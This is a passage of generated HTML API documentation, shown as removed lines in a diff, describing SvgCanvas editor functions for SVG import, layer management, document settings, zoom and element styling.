-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setSvgString"></a>setSvgString</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setSvgString = function(</td><td class=PParameter nowrap>xmlString</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>This function sets the current drawing as the input SVG XML.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>xmlString</td><td class=CDLDescription>The SVG as XML text.</td></tr></table><h4 class=CHeading>Returns</h4><p>This function returns false if the set was unsuccessful, true otherwise.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.importSvgString"></a>importSvgString</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.importSvgString = function(</td><td class=PParameter nowrap>xmlString</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>This function imports the input SVG XML into the current layer in the drawing</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>xmlString</td><td class=CDLDescription>The SVG as XML text.</td></tr></table><h4 class=CHeading>Returns</h4><p>This function returns false if the import was unsuccessful, true otherwise.&nbsp; TODO:</p><ul><li>properly handle if namespace is introduced by imported content (must add to svgcontent and update all prefixes in the imported node)</li><li>properly handle recalculating dimensions, recalculateDimensions() doesn&rsquo;t handle arbitrary transform lists, but makes some assumptions about how the transform list was obtained</li><li>import should happen in top-left of current zoomed viewport</li><li>create a new layer for the imported SVG</li></ul></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Layers"></a>Layers</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.identifyLayers"></a>identifyLayers</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var identifyLayers = function()</td></tr></table></blockquote><p>Updates layer system</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.createLayer"></a>createLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.createLayer = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Creates a new top-level layer in the drawing with the given name, sets the current layer to it, and then clears the selection  This function then calls the &lsquo;changed&rsquo; handler.&nbsp; This is an undoable action.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>name</td><td class=CDLDescription>The given name</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.deleteCurrentLayer"></a>deleteCurrentLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.deleteCurrentLayer = function()</td></tr></table></blockquote><p>Deletes the current layer from the drawing and then clears the selection.&nbsp; This function then calls the &lsquo;changed&rsquo; handler.&nbsp;  This is an undoable action.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getNumLayers"></a>getNumLayers</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getNumLayers = function()</td></tr></table></blockquote><p>Returns the number of layers in the current drawing.</p><h4 class=CHeading>Returns</h4><p>The number of layers in the current drawing.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getLayer"></a>getLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getLayer = function(</td><td class=PParameter nowrap>i</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Returns the name of the ith layer.&nbsp; If the index is out of range, an empty string is returned.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>i</td><td class=CDLDescription>the zero-based index of the layer you are querying.</td></tr></table><h4 class=CHeading>Returns</h4><p>The name of the ith layer</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getCurrentLayer"></a>getCurrentLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getCurrentLayer = function()</td></tr></table></blockquote><p>Returns the name of the currently selected layer.&nbsp; If an error occurs, an empty string is returned.</p><h4 class=CHeading>Returns</h4><p>The name of the currently active layer.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setCurrentLayer"></a>setCurrentLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setCurrentLayer = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the current layer.&nbsp; If the name is not a valid layer name, then this function returns false.&nbsp; Otherwise it returns true.&nbsp; This is not an undo-able action.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>name</td><td class=CDLDescription>the name of the layer you want to switch to.</td></tr></table><h4 class=CHeading>Returns</h4><p>true if the current layer was switched, otherwise false</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.renameCurrentLayer"></a>renameCurrentLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.renameCurrentLayer = function(</td><td class=PParameter nowrap>newname</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Renames the current layer.&nbsp; If the layer name is not valid (i.e. unique), then this function does nothing and returns false, otherwise it returns true.&nbsp; This is an undo-able action.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>newname</td><td class=CDLDescription>the new name you want to give the current layer.&nbsp;  This name must be unique among all layer names.</td></tr></table><h4 class=CHeading>Returns</h4><p>true if the rename succeeded, false otherwise.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setCurrentLayerPosition"></a>setCurrentLayerPosition</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setCurrentLayerPosition = function(</td><td class=PParameter nowrap>newpos</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Changes the position of the current layer to the new value.&nbsp; If the new index is not valid, this function does nothing and returns false, otherwise it returns true.&nbsp; This is an undo-able action.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>newpos</td><td class=CDLDescription>The zero-based index of the new position of the layer.&nbsp;  This should be between</td></tr><tr><td class=CDLEntry>0 and (number of layers</td><td class=CDLDescription>1)</td></tr></table><h4 class=CHeading>Returns</h4><p>true if the current layer position was changed, false otherwise.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getLayerVisibility"></a>getLayerVisibility</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getLayerVisibility = function(</td><td class=PParameter nowrap>layername</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Returns whether the layer is visible.&nbsp;  If the layer name is not valid, then this function returns false.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>layername</td><td class=CDLDescription>the name of the layer which you want to query.</td></tr></table><h4 class=CHeading>Returns</h4><p>The visibility state of the layer, or false if the layer name was invalid.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setLayerVisibility"></a>setLayerVisibility</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setLayerVisibility = function(</td><td class=PParameter nowrap>layername,</td></tr><tr><td></td><td class=PParameter nowrap>bVisible</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the visibility of the layer.&nbsp; If the layer name is not valid, this function return false, otherwise it returns true.&nbsp; This is an undo-able action.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>layername</td><td class=CDLDescription>the name of the layer to change the visibility</td></tr><tr><td class=CDLEntry>bVisible</td><td class=CDLDescription>true/false, whether the layer should be visible</td></tr></table><h4 class=CHeading>Returns</h4><p>true if the layer&rsquo;s visibility was set, false otherwise</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.moveSelectedToLayer"></a>moveSelectedToLayer</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.moveSelectedToLayer = function(</td><td class=PParameter nowrap>layername</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Moves the selected elements to layername.&nbsp; If the name is not a valid layer name, then false is returned.&nbsp;  Otherwise it returns true.&nbsp; This is an undo-able action.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>layername</td><td class=CDLDescription>the name of the layer you want to which you want to move the selected elements</td></tr></table><h4 class=CHeading>Returns</h4><p>true if the selected elements were moved to the layer, false otherwise.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getLayerOpacity"></a>getLayerOpacity</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getLayerOpacity = function(</td><td class=PParameter nowrap>layername</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Returns the opacity of the given layer.&nbsp;  If the input name is not a layer, null is returned.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>layername</td><td class=CDLDescription>name of the layer on which to get the opacity</td></tr></table><h4 class=CHeading>Returns</h4><p>The opacity value of the given layer.&nbsp;  This will be a value between 0.0 and 1.0, or null if layername is not a valid layer</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setLayerOpacity"></a>setLayerOpacity</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setLayerOpacity = function(</td><td class=PParameter nowrap>layername,</td></tr><tr><td></td><td class=PParameter nowrap>opacity</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the opacity of the given layer.&nbsp;  If the input name is not a layer, nothing happens.&nbsp; This is not an undo-able action.&nbsp;  NOTE: this function exists solely to apply a highlighting/de-emphasis effect to a layer, when it is possible for a user to affect the opacity of a layer, we will need to allow this function to produce an undo-able action.&nbsp; If opacity is not a value between 0.0 and 1.0, then nothing happens.</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>layername</td><td class=CDLDescription>name of the layer on which to set the opacity</td></tr><tr><td class=CDLEntry>opacity</td><td class=CDLDescription>a float value in the range 0.0-1.0</td></tr></table></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Document_functions"></a>Document functions</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.clear"></a>clear</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.clear = function()</td></tr></table></blockquote><p>Clears the current document.&nbsp;  This is not an undoable action.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.linkControlPoints"></a>linkControlPoints</h3><div class=CBody><p>Alias function</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getContentElem"></a>getContentElem</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getContentElem = function()</td></tr></table></blockquote><p>Returns the content DOM element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getRootElem"></a>getRootElem</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getRootElem = function()</td></tr></table></blockquote><p>Returns the root DOM element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getSelectedElems"></a>getSelectedElems</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getSelectedElems = function()</td></tr></table></blockquote><p>Returns the array with selected DOM elements</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getResolution"></a>getResolution</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var getResolution = this.getResolution = function()</td></tr></table></blockquote><p>Returns the current dimensions and zoom level in an object</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getZoom"></a>getZoom</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getZoom = function()</td></tr></table></blockquote><p>Returns the current zoom level</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getVersion"></a>getVersion</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getVersion = function()</td></tr></table></blockquote><p>Returns a string which describes the revision number of SvgCanvas.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setUiStrings"></a>setUiStrings</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setUiStrings = function(</td><td class=PParameter nowrap>strs</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Update interface strings with given values</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>strs</td><td class=CDLDescription>Object with strings (see uiStrings for examples)</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setConfig"></a>setConfig</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setConfig = function(</td><td class=PParameter nowrap>opts</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Update configuration options with given values</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>opts</td><td class=CDLDescription>Object with options (see curConfig for examples)</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getDocumentTitle"></a>getDocumentTitle</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getDocumentTitle = function()</td></tr></table></blockquote><p>Returns the current document title or an empty string if not found</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setDocumentTitle"></a>setDocumentTitle</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setDocumentTitle = function(</td><td class=PParameter nowrap>newtitle</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Adds/updates a title element for the document with the given name.&nbsp; This is an undoable action</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>newtitle</td><td class=CDLDescription>String with the new title</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getEditorNS"></a>getEditorNS</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getEditorNS = function(</td><td class=PParameter nowrap>add</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Returns the editor&rsquo;s namespace URL, optionally adds it to root element</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>add</td><td class=CDLDescription>Boolean to indicate whether or not to add the namespace value</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setResolution"></a>setResolution</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setResolution = function(</td><td class=PParameter nowrap>x,</td></tr><tr><td></td><td class=PParameter nowrap>y</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Changes the document&rsquo;s dimensions to the given size</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>x</td><td class=CDLDescription>Number with the width of the new dimensions in user units.&nbsp; Can also be the string &ldquo;fit&rdquo; to indicate &ldquo;fit to content&rdquo;</td></tr><tr><td class=CDLEntry>y</td><td class=CDLDescription>Number with the height of the new dimensions in user units.</td></tr></table><h4 class=CHeading>Returns</h4><p>Boolean to indicate if resolution change was succesful.&nbsp; It will fail on &ldquo;fit to content&rdquo; option with no content to fit to.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getOffset"></a>getOffset</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getOffset = function()</td></tr></table></blockquote><p>Returns an object with x, y values indicating the svgcontent element&rsquo;s position in the editor&rsquo;s canvas.</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setBBoxZoom"></a>setBBoxZoom</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setBBoxZoom = function(</td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>editor_w,</td></tr><tr><td></td><td class=PParameter nowrap>editor_h</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the zoom level on the canvas-side based on the given value</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>Bounding box object to zoom to or string indicating zoom option</td></tr><tr><td class=CDLEntry>editor_w</td><td class=CDLDescription>Integer with the editor&rsquo;s workarea box&rsquo;s width</td></tr><tr><td class=CDLEntry>editor_h</td><td class=CDLDescription>Integer with the editor&rsquo;s workarea box&rsquo;s height</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setZoom"></a>setZoom</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setZoom = function(</td><td class=PParameter nowrap>zoomlevel</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the zoom to the given level</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>zoomlevel</td><td class=CDLDescription>Float indicating the zoom level to change to</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getMode"></a>getMode</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getMode = function()</td></tr></table></blockquote><p>Returns the current editor mode string</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setMode"></a>setMode</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setMode = function(</td><td class=PParameter nowrap>name</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the editor&rsquo;s mode to the given string</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>name</td><td class=CDLDescription>String with the new mode to change to</td></tr></table></div></div></div>
-
-<div class="CGroup"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.Element_Styling"></a>Element Styling</h3></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getColor"></a>getColor</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.getColor = function(</td><td class=PParameter nowrap>type</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Returns the current fill/stroke option</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setColor"></a>setColor</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setColor = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>val,</td></tr><tr><td></td><td class=PParameter nowrap>preventUndo</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Change the current stroke/fill color/gradient value</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>type</td><td class=CDLDescription>String indicating fill or stroke</td></tr><tr><td class=CDLEntry>val</td><td class=CDLDescription>The value to set the stroke attribute to</td></tr><tr><td class=CDLEntry>preventUndo</td><td class=CDLDescription>Boolean indicating whether or not this should be and undoable option</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.findDefs"></a>findDefs</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>var findDefs = function()</td></tr></table></blockquote><p>Return the document&rsquo;s &lt;defs&gt; element, create it first if necessary</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setGradient"></a>setGradient</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var setGradient = this.setGradient = function(</td><td class=PParameter nowrap>type</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Apply the current gradient to selected element&rsquo;s fill or stroke</p><p>Parameters type - String indicating &ldquo;fill&rdquo; or &ldquo;stroke&rdquo; to apply to an element</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.findDuplicateGradient"></a>findDuplicateGradient</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>var findDuplicateGradient = function(</td><td class=PParameter nowrap>grad</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Check if exact gradient already exists</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>grad</td><td class=CDLDescription>The gradient DOM element to compare to others</td></tr></table><h4 class=CHeading>Returns</h4><p>The existing gradient if found, null if not</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setPaint"></a>setPaint</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setPaint = function(</td><td class=PParameter nowrap>type,</td></tr><tr><td></td><td class=PParameter nowrap>paint</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Set a color/gradient to a fill/stroke</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>type</td><td class=CDLDescription>String with &ldquo;fill&rdquo; or &ldquo;stroke&rdquo;</td></tr><tr><td class=CDLEntry>paint</td><td class=CDLDescription>The jGraduate paint object to apply</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getStrokeWidth"></a>getStrokeWidth</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getStrokeWidth = function()</td></tr></table></blockquote><p>Returns the current stroke-width value</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setStrokeWidth"></a>setStrokeWidth</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setStrokeWidth = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the stroke width for the current selected elements When attempting to set a line&rsquo;s width to 0, this changes it to 1 instead</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>val</td><td class=CDLDescription>A Float indicating the new stroke width value</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setStrokeAttr"></a>setStrokeAttr</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setStrokeAttr = function(</td><td class=PParameter nowrap>attr,</td></tr><tr><td></td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Set the given stroke-related attribute the given value for selected elements</p><h4 class=CHeading>Parameters</h4><table border=0 cellspacing=0 cellpadding=0 class=CDescriptionList><tr><td class=CDLEntry>attr</td><td class=CDLDescription>String with the attribute name</td></tr><tr><td class=CDLEntry>val</td><td class=CDLDescription>String or number with the attribute value</td></tr></table></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getOpacity"></a>getOpacity</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getOpacity = function()</td></tr></table></blockquote><p>Returns the current opacity</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.setOpacity"></a>setOpacity</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td><table border=0 cellspacing=0 cellpadding=0><tr><td class=PBeforeParameters nowrap>this.setOpacity = function(</td><td class=PParameter nowrap>val</td><td class=PAfterParameters nowrap>)</td></tr></table></td></tr></table></blockquote><p>Sets the given opacity to the current selected elements</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getOpacity"></a>getOpacity</h3><div class=CBody><p>Returns the current fill opacity</p></div></div></div>
-
-<div class="CFunction"><div class=CTopic><h3 class=CTitle><a name="SelectorManager.getStrokeOpacity"></a>getStrokeOpacity</h3><div class=CBody><blockquote><table border=0 cellspacing=0 cellpadding=0 class=Prototype><tr><td>this.getStrokeOpacity = function()</td></tr></table></blockquote><p>Returns the current stroke opacity</p></div></div></div>
-
